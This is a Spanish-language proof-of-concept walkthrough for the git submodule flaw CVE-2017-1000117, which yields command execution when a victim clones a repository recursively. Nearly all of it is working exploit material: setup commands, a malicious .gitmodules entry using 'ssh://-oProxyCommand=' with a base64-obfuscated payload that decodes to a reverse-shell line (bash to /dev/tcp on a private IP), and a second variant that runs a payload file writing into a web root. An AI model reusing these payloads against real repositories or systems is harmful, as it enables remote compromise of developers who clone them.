
Exploit de prueba de concepto para CVE-2017-1000117: ejecución remota de código mediante una URL SSH maliciosa de submódulo de git, permitiendo la entrega de payload de reverse shell durante operaciones de clonación recursiva.
Una persona malintencionada puede construir un enlace "ssh://…" de forma que la víctima, al ejecutar un programa u otras acciones, acceda a dicho enlace malicioso, logrando así la ejecución de comandos. Este enlace puede colocarse en el archivo .gitmodules de un proyecto git, de modo que cuando la víctima realice un git clone --recurse-submodules o git clone --recursive sobre el proyecto, se desencadene un problema de seguridad.
Preparación:
En la línea de comandos de Linux, escribir
printf 'a' >> /tmp/pwned.txt
Se observa que se crea el archivo pwned.txt en el directorio /tmp con contenido a.
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"]
path = sub1
url = https://github.com/leezp/CVE-2017-1000117.git
// Se crean dos subdirectorios de submódulos: sub1 y name2)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
Existen dos formas de prepararlo:
Primera forma:
Abrir el archivo .gitmodules y modificar su contenido (solo es necesario modificar el primero, ya que solo se ejecutará el exploit del primer submódulo; aquí se crean dos porque a veces con uno solo no se ejecuta; el motivo concreto no me interesa investigar por ahora).
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(Ver archivo .gitmodules.bak1)
La primera forma no necesita un archivo payload.
Segunda forma:
Abrir el archivo .gitmodules y modificar su contenido (solo el primero).
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(Ver archivo .gitmodules)
Esta forma requiere un archivo payload; en el archivo payload escribimos:
printf 'sss' > /var/www/html/vul
Nota
El modo git clone debe ser uno de los dos siguientes:
git clone --recursive url
git clone --recurse-submodules url
Usar simplemente git clone descargará normalmente sin generar archivos adicionales, por lo que la condición para activar la vulnerabilidad es bastante estricta.